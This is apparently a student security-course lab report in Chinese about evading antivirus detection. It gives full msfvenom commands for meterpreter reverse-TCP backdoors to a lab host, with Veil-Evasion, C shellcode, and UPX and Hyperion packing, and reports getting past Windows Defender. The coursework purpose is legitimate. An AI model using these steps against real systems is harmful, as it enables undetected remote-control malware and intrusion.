一.实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二.实验要求
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
答:基于特征码,有3种方法
1、计算校验和
2、提取特征字符串
3、提取程序产生的系统调用
(2)免杀是做什么?
答:免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。如我们实验中使用的加壳技术。
(3)免杀的基本方法有哪些?
答:
1.直接修改特征码的十六进制法。
2.修改字符串大小写法。
3.等价替换法。
4.指令顺序调换法。
5.通用跳转法。
6.一键加壳法。
三.实验过程
任务一 学会正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
首先我们对实验二中生成的后门程序进行检测
检测实验二的后门软件,可以看到,结果是,69款杀毒软件中,有53款能够检测出来此后门软件。
我们使用msf编码器,生成exe文件(20192422_msf.exe)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.107 LPORT=2422 -f exe > 20192422_msf.exe//生成一个exe文件
可以看出依然是能够被大多数杀毒软件检测出来
现在我们多次编码生成一个新exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.56.107 LPORT=2422 -f exe > 20192422_msf1.exe//生成一个新exe文件,迭代20次
可以看出,即迭代对于后门程序的免杀几乎没用,仅仅只降低了2款。通过查询知道,这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀。
接着我们试试生成其他类型的文件
jar格式
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 x > 20192422_msf.jar
php格式
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 x> 20192422_msf.php
可以看出,相对于exe文件,jar和php文件更难以被检测出来。
以上的测试文件如下
现在我们安装加壳工具veil
apt-get -y install git
apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32
apt-get update
apt-get install veil-evasion veil
veil//进入veil
使用veil-evasion生成后门程序
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.56.107
set LPORT 2422
options
generate
veil_20192422ljj
生成了该exe文件
检测结果如下
现在我们进行c语言生成shellcode并加压缩壳
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=2422 -f c
vi 20192422_shellcode.c//新建一个.c文件(注:记得添加主函数)
i686-w64-mingw32-g++ 20192422_shellcode.c -o 20192422ljj_shellcode.exe//编译c文件
检测结果如下
upx 20192422ljj_shellcode.exe -o 20192422ljj_shellcode1.exe //对其压缩加壳
检测结果如下
可见单次加壳对于防杀的效果微乎其微。
任务二 通过组合应用各种技术实现恶意代码免杀
c语言编写shellcode并进行压缩加密双加壳
首先将上一步实验的20192430ljj_shellcode1.exe 文件拷贝到 /usr/share/windows-resources/hyperion中
wine hyperion.exe -v 20192422ljj_shellcode1.exe 20192422ljj_shellcode2.exe//注:在当前位置输入
可见生成了双重加壳文件
然后我们将该exe文件传入主机中
然后主机进行扫描,并未发现威胁
可见双重加壳成功防杀了。
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑自带的杀毒软件Windows Defender
已经提前在主机对应文件中提前放入了raw文件
Kail:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 8888
exploit
主机
shellcode_launcher.exe -i ljj.raw
可见回弹成功
四.实验中出现的问题
本次实验较为容易,只出现了一个问题
安装win32时出现错误
解决方法:通过查询学长学姐博客学习笔记,在虚拟机中依次输入以下代码即可解决
dpkg --add-architecture i386
apt-get update
apt-get install wine32
五.实验感想
通过本次实验,我简单了解到了电脑杀毒软件是怎样检测恶意软件,同时也了解到了免杀技术,同时对于其中的加壳,有了一些简单的实践。本次实验令我受益匪浅,我不仅加强了自己对恶意软件的防范意识,同时也意识到了自己电脑自带的杀毒软件的局限性,让我对自己的电脑安全进行了加强。
感谢老师的指导,同学们的帮助,期待下一次实验的到来。
posted on
2022-04-10 19:09
20192422李俊洁
阅读(
83)
评论()
编辑
收藏
举报